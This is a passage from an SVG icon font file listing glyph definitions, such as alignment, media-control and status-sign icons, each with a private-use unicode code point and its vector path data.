d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57
q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -5 -0.5 -13.5t-0.5 -12.5q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5
q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
    <glyph glyph-name="bold" unicode="&#xf032;" horiz-adv-x="1408" 
d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142
q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5
t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68 -0.5t68 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 -85.5t-163.5 -48.5
t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
    <glyph glyph-name="italic" unicode="&#xf033;" horiz-adv-x="1024" 
d="M0 -126l17 85q22 7 61.5 16.5t72 19t59.5 23.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5
q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
    <glyph glyph-name="text_height" unicode="&#xf034;" horiz-adv-x="1792" 
d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2
t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5
q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
    <glyph glyph-name="text_width" unicode="&#xf035;" 
d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1
t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5
t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49
t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
    <glyph glyph-name="align_left" unicode="&#xf036;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_center" unicode="&#xf037;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19
h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_right" unicode="&#xf038;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_justify" unicode="&#xf039;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="list" unicode="&#xf03a;" horiz-adv-x="1792" 
d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5
t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344
q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192
q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_left" unicode="&#xf03b;" horiz-adv-x="1792" 
d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_right" unicode="&#xf03c;" horiz-adv-x="1792" 
d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="facetime_video" unicode="&#xf03d;" horiz-adv-x="1792" 
d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5
q39 -17 39 -59z" />
    <glyph glyph-name="picture" unicode="&#xf03e;" horiz-adv-x="1920" 
d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216
q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="pencil" unicode="&#xf040;" 
d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38
q53 0 91 -38l235 -234q37 -39 37 -91z" />
    <glyph glyph-name="map_marker" unicode="&#xf041;" horiz-adv-x="1024" 
d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
    <glyph glyph-name="adjust" unicode="&#xf042;" 
d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="tint" unicode="&#xf043;" horiz-adv-x="1024" 
d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362
q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="1792" 
d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92
l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
    <glyph glyph-name="share" unicode="&#xf045;" horiz-adv-x="1664" 
d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832
q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5
t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="check" unicode="&#xf046;" horiz-adv-x="1664" 
d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832
q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110
q24 -24 24 -57t-24 -57z" />
    <glyph glyph-name="move" unicode="&#xf047;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45
t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="step_backward" unicode="&#xf048;" horiz-adv-x="1024" 
d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19z" />
    <glyph glyph-name="fast_backward" unicode="&#xf049;" horiz-adv-x="1792" 
d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19l710 710
q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="backward" unicode="&#xf04a;" horiz-adv-x="1664" 
d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="play" unicode="&#xf04b;" horiz-adv-x="1408" 
d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
    <glyph glyph-name="pause" unicode="&#xf04c;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="stop" unicode="&#xf04d;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="forward" unicode="&#xf04e;" horiz-adv-x="1664" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="fast_forward" unicode="&#xf050;" horiz-adv-x="1792" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19l-710 -710
q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="step_forward" unicode="&#xf051;" horiz-adv-x="1024" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19z" />
    <glyph glyph-name="eject" unicode="&#xf052;" horiz-adv-x="1538" 
d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
    <glyph glyph-name="chevron_left" unicode="&#xf053;" horiz-adv-x="1280" 
d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="chevron_right" unicode="&#xf054;" horiz-adv-x="1280" 
d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="plus_sign" unicode="&#xf055;" 
d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5
t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="minus_sign" unicode="&#xf056;" 
d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="remove_sign" unicode="&#xf057;" 
d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19
q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_sign" unicode="&#xf058;" 
d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="question_sign" unicode="&#xf059;" 
d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59
q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="info_sign" unicode="&#xf05a;" 
d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23
t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="screenshot" unicode="&#xf05b;" 
d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109
q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143
q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
    <glyph glyph-name="remove_circle" unicode="&#xf05c;" 
d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5
t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_circle" unicode="&#xf05d;" 
